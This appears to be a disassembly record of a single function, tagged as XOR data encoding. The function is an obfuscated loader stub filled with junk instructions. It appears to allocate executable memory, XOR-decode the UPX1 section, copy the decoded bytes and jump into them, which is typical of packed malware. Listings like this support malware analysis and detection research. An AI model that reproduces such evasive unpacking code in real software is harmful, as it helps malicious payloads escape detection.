Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2e70c222
add eax, edi
or eax, eax
popal
sub eax, edi
mov eax, 0xdc9f7d0c
mov edi, 0
mov ecx, edx
or ebx, esi
mov esi, ebx
and esi, esi
mov eax, ecx
add ebx, 0xe2c93188
mov ebx, 0xc02636ce
mov edx, eax
and ebx, esi
sub esi, 0xd1a95e2a
add edi, 1
sub esi, ebx
mov ebx, 0x9c11587a
cmp edi, 0x1001f85
jne 0xa789c3
mov ebx, 0xa3705baa
mov esi, 0xe5a86e0
sub ebx, esi
not edi
add edi, 1
mov ecx, 0xa78796
mov edx, 0x4584743
inc eax
mov ebx, 0xa7898a
or edx, edx
add edx, 0x2010fc71
not edx
mov esi, dword [ecx]
sub eax, 0x5da4d3a6
add eax, edi
sub edx, 0x45e097e1
and esi, 0xff
not eax
add eax, edi
xor dword [ebx], esi
and edi, eax
sub edx, eax
sub edi, 0x9f832b1a
inc ebx
inc edx
inc edi
sub edi, edx
inc ecx
inc edx
sub eax, 0xf962c9da
sub edx, edi
cmp ebx, entry0
jl 0xa78a29
sub eax, edx
mov edx, 0x549a7d6e
and edi, eax
and edx, edx
mov ebx, esi
add ecx, 0xf8d5a9ce
sub ecx, 0xfd467727
mov edx, 0xa7898e
sub esi, ebx
inc ecx
mov edx, dword [edx]
add edi, 0xae9b5b4c
sub esi, 1
sub ecx, 0x5b6e611a
mov edx, dword [edx]
mov esi, ebx
dec edi
sub esp, 4
mov dword [esp], edx
and esi, edi
add esi, edi
add ecx, edi
mov edx, 0xa7898a
inc ecx
and esi, ecx
mov edx, dword [edx]
dec esi
sub ecx, 0xc7556650
mov edx, dword [edx]
sub ebx, esi
inc edi
push 0xa78992
or edi, ecx
or ecx, ebx
call edx
dec edi
sub ecx, 0xbe4f3e4e
pop edx
sub ecx, ebx
add edi, 0x4a96a915
push 0xa7899f
mov edi, 0x41a32227
sub ebx, 0x94cd4de6
mov ecx, esi
push eax
not ebx
and ebx, esi
call edx
and edi, edi
add esi, ebx
push 0x40
not ebx
add ecx, ecx
or ecx, ebx
push 0x3000
add edi, 0x9aaf1453
mov ebx, 0xca4de896
and esi, edi
push 0x20000e3c
mov ecx, 0xca85f658
sub esi, edi
and ecx, esi
push 0
not esi
or esi, ecx
call eax
add esi, 1
sub esi, ecx
sub edi, esi
add eax, 0x20000dbe
sub esi, edi
not edi
mov edx, 0x58a7323d
add esi, ecx
mov ecx, 0x21ce1f14
mov dword [eax], edx
inc ebx
add esi, ecx
mov edx, dword [eax]
mov esi, 0x7df16db8
mov ecx, 0x344a7a46
dec edi
cmp edx, 0x58a7323d
je 0xa78b75
mov ecx, 0
mov byte [ecx], dl
sub ebx, 0x47bb5b0e
or edi, edi
or edi, ecx
add ebx, 0xc1dc72ad
add edi, 0x28b1d0f3
mov eax, edi
mov eax, edi
or eax, edi
mov esi, section.UPX1
mov eax, edi
add edi, 0x210db767
add edi, 0x160b8039
mov ecx, 0xa78795
inc edi
sub edi, eax
mov ebx, 0
or edi, edi
or eax, edi
add edi, 1
mov edx, 0xa78796
sub edi, eax
and eax, edi
lea edx, [ebx + edx]
not edi
mov edi, eax
or eax, eax
mov edx, dword [edx]
and eax, edi
add eax, eax
sub edi, 0x2c7d5b8c
and edx, 0xff
add edi, eax
or eax, eax
inc ebx
mov edi, 0xa98ccf0f
mov edi, eax
sub eax, edi
cmp ebx, 0x1f4
jne 0xa78bfa
mov ebx, 0
dec eax
sub eax, 0x97e301fe
not eax
and eax, edi
add eax, 0x3047db8b
mov eax, 0xa96d6d55
xor dword [esi], edx
sub eax, 0x6eb35816
or eax, eax
add esi, 2
mov edi, 0x1caf6e3e
and edi, eax
sub edi, 0x5689509a
cmp esi, ecx
jl 0xa78bbb
add eax, 0x54245fcc
sub edi, eax
inc eax
add edi, 0xc23009af
sub edi, eax
mov esi, section.UPX1
add ebx, 0xbb020894
mov ebx, eax
mov edi, section.UPX1
mov eax, ebx
dec eax
add eax, 0x66b8d611
mov ecx, 0xa78795
and ebx, eax
mov ebx, eax
sub ebx, eax
mov edx, 0
or ebx, ebx
mov eax, 0x41aeb3de
mov dl, byte [edi]
mov ebx, eax
add eax, ebx
mov byte [esi], dl
not eax
sub ebx, eax
not eax
add esi, 1
sub ebx, eax
sub eax, ebx
add edi, 2
mov eax, 0x72fa265c
sub ebx, 0x47fbb59b
mov ebx, eax
cmp edi, ecx
jle 0xa78c78
sub ebx, eax
inc eax
mov ebx, 0xaf12e202
sub eax, 0x6cd6f59a
add edi, 0x8230baf5
add edi, eax
push 0x8dc6a0
dec eax
or edi, eax
ret